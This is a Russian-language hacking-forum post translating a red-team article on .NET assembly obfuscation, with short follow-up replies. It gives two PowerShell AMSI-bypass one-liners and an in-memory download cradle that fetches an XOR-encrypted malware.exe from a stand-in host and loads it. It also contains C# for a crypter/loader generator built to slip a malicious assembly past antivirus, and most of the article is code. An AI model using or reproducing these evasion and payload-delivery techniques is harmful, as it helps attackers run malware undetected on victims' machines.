• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья К обфускации общих сборок .NET (часть 1)

atavism

HalReturnToBorderline
Premium
Регистрация
03.05.2020
Сообщения
150
Реакции
85
Депозит
0.0016
К обфускации общих сборок .NET (часть 1)
Около двух лет назад, когда я вступил на поле ред тима, был весьма популярен PowerShell. Он был простым, элегантным и не заабьюженным способом обхода антивирусных решений. Но во многом, благодаря Microsoft, в частности внедрениям в PowerShell (v5) защитных возможностей, таких как AMSI и Script Logging, для ред тиммеров закончились те счастливые дни с использованием PowerShell. Конечно, это все еще возможно:

Код:
[PSObject]Assmebly.GetType('System.Management.Automation'+'Utils'),GetType('amsiIni'+'tFailed', 'nonPublic, static').setValue($null, $true)
или
Код:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Но с каждым разом использовать подобное все труднее и труднее.

Поэтому, как обычно и бывает, ред тиммеры нашли другой доступный способ, с помощью которого можно достичь необходимых целей: .NET.
Усилиями индустрии, смещающейся от PowerShell, появились такие инструменты на базе .NET, как: GhostPack, SharpView, SharpWeb и reconerator – хорошие примеры таких вот усилий.

Как и модули PowerShell, весьма часто есть возможность запустить и сборки .NET (.NET assemblies) из памяти, не трогая при этом диск:
Код:
$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials
$k="XOR\_KEY";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("https://evil.computer/malware.exe")))|%{$_-bxor$k[$i++%$k.length]}
[System.Reflection.Assembly]::Load($b) | Out-Null
$parameters=@("arg1", "arg2")
[namespace.Class]::Main($parameters)
Или использовать возможности CobaltStrike 3.11 beacon – execute-assembly (тык)

Обфускация исполняемых файлов на базе .NET

Но иногда необходимо сбрасывать исполняемые файлы на диск, ведь так? А может, вы хотите в общем придерживаться хорошей практике OpSec обфусцировать свои исполняемые файлы (на всякий)? В таком случае, было бы неплохо иметь свой собственный обфускатор исполняемых файлов на базе .NET, который может обфусцировать любую сборку, при этом не ломая и не изменяя основной функционал.

Идея, описанная здесь, крутится вокруг инкапсуляции сборки .NET и загрузки самой инкапсулированной сборки в рантайме через метод Assembly.Load(byte[]) (он не должен мониториться и логгироваться!). Выхлопом нашего обфускатора должна быть сборка, которая запускает оригинальную (зловредную) сборку в собственное адресное пространство процесса (т.е. в память процесса, прим. переводчика). Наш обфускатор должен проделать следующие шаги:

1. Принимать на вход .NET сборку, обфусцировать/шифровать её и кодировать в строку base64:

C#:
String path = args[0];
key = getRandomKey();
String filename = Path.GetFileNameWithoutExtension(path).ToString();
String obfuscatedBin = obfuscateBinary(path);

private String obfuscateBinary(String file) {
    byte[] assemblyBytes = fileToByteArray(@file);
    byte[] encryptedAssembly = encrypt(assemblyBytes, key);
    return System.Convert.ToBase64String(encryptedAssembly);
}

2. Создать код на C#, который будет деобфусцировать/дешифровать строку (накрытую base64) и загружать её через метод Assembly.Load(byte[]).


Переменная srcTemplate содержит шаблон для (внешнего) вывода сборки обфускатора. В рантайме, эта обфусцированная сборка будет деобфусцированна и загружена через метод Assembly.Load(byte[]). Загвоздка здесь в том, что мы не знаем, где в сборке будет находиться метод Main. Мы можем решить данную проблему, сопоставив главные характеристики метода Main: наличие модификаторов доступа public, static и аргумент String[]. Если такой метод не нашелся с первого раза, мы переходим к следующему, до тех пор, пока мы не найдем необходимый нам метод. Когда мы найдем метод, соответствующий описанным характеристикам, мы вызовем его и передадим ему аргументы, полученные из «внешней» сборки:
C#:
public static string srcTemplate = @"using System;
                using System.Collections.Generic;
                using System.IO;
                using System.Reflection;
                using System.Security.Cryptography;
                namespace Loader {
                    public static class Loader {
                    
                        private static readonly byte[] SALT = new byte[] { 0xba, 0xdc, 0x0f, 0xfe, 0xeb, 0xad, 0xbe, 0xfd, 0xea, 0xdb, 0xab, 0xef, 0xac, 0xe8, 0xac, 0xdc };
                        public static void Main(string[] args) {
                            byte[] bytes = decrypt(Convert.FromBase64String(Package.dotnetfile), Package.key);
                            Assembly a = Assembly.Load(bytes);
                            foreach (Type type in a.GetTypes()) {
                                try {
                                    object instance = Activator.CreateInstance(type);
                                    object[] procargs = new object[] { args };
                                    var methodInfo = type.GetMethod(""Main"", BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Static | BindingFlags.FlattenHierarchy);
                                    var result = methodInfo.Invoke(instance, procargs);
                                }
                                catch (Exception e) { }
                            }
                        }
                        public static byte[] decrypt(byte[] cipher, string key) { // Left out }
                        
                        public class Package {
                            public static string dotnetfile = @""INSERTHERE"";
                            public static string key = @""KEY"";
                        }
                }";
                
String obfuscatedBin = obfuscateBinary(path);
String tmpStr = srcTemplate.Replace("INSERTHERE", obfuscatedBin);
String srcFinal = tmpStr.Replace("KEY", key);

3. Скомпилировать новую .NET сборку в рантайме


Когда шаблон заполнен, мы компилируем выходную сборку (обфусцированную):
C#:
compile(srcFinal, filename + "_obfuscated.exe");

static void compile(String source, String outfile) {
    var provider_options = new Dictionary<string, string>
    {
        {"CompilerVersion","v3.5"}
    };
    var provider = new Microsoft.CSharp.CSharpCodeProvider(provider_options);
    
    var compiler_params = new System.CodeDom.Compiler.CompilerParameters();
    compiler_params.OutputAssembly = outfile;
    compiler_params.GenerateExecutable = true;

    // Compile
    var results = provider.CompileAssemblyFromSource(compiler_params, source);
    Console.WriteLine("Output file: {0}", outfile);
    Console.WriteLine("Number of Errors: {0}", results.Errors.Count);
    foreach (System.CodeDom.Compiler.CompilerError err in results.Errors) {
        Console.WriteLine("ERROR {0}", err.ErrorText);
    }
}

При самостоятельной реализации данного метода, я строго рекомендую использовать собственные техники обфускации/шифрования, а также некоторые методы обхода сэндбоксов. Хоть этот метод и обходит все традиционные антивирусные решения, но строка в base64 может вызвать к срабатыванию «ML-движков», поскольку сборка будет весьма похожа на загрузчик: весьма «ограниченный» код и большая строка (с нашим шаблоном). В будущих частях я расскажу о методах обхода «ML-движков».

1653741031900.png


1653741048900.png

Оригинал: https://vanmieghem.io/towards-generic-.net-obfuscation/
Перевод: atavism
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Такая себе обфускация, это - примитивный криптор. И расскажите кто-нибудь оригинальному автору статьи, что у дотнета 4.8 вызов Assembly.Load внутри фреймворка перехватывается и вся малварная чушь отправляется через AMSI антивирусу на сканирование в открытом виде. Понятно, что 2018 году может и фреймворка 4.8 не было, но сейчас уже это кажется плохим решением чуть больше, чем полностью.

Ну и в целом подход современных редтимеров к проблеме "антивирус палит мои уютненькие павершеллы, я типа перепишу всю свою рванину на другом языке и будет збс" - это кринж. Надо учиться обходить антивирусы, а не переписывать одну и ту же херню на разных языках в надежде на то, что аверы тупые. Как бы аверы тупые, с этим не поспоришь, но это тоже не дело.
 
Такая себе обфускация, это - примитивный криптор. И расскажите кто-нибудь оригинальному автору статьи, что у дотнета 4.8 вызов Assembly.Load внутри фреймворка перехватывается и вся малварная чушь отправляется через AMSI антивирусу на сканирование в открытом виде. Понятно, что 2018 году может и фреймворка 4.8 не было, но сейчас уже это кажется плохим решением чуть больше, чем полностью.

Ну и в целом подход современных редтимеров к проблеме "антивирус палит мои уютненькие павершеллы, я типа перепишу всю свою рванину на другом языке и будет збс" - это кринж. Надо учиться обходить антивирусы, а не переписывать одну и ту же херню на разных языках в надежде на то, что аверы тупые. Как бы аверы тупые, с этим не поспоришь, но это тоже не дело.
Извинри, а что такое кринж ?🤔
 
Пожалуйста, обратите внимание, что пользователь заблокирован


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх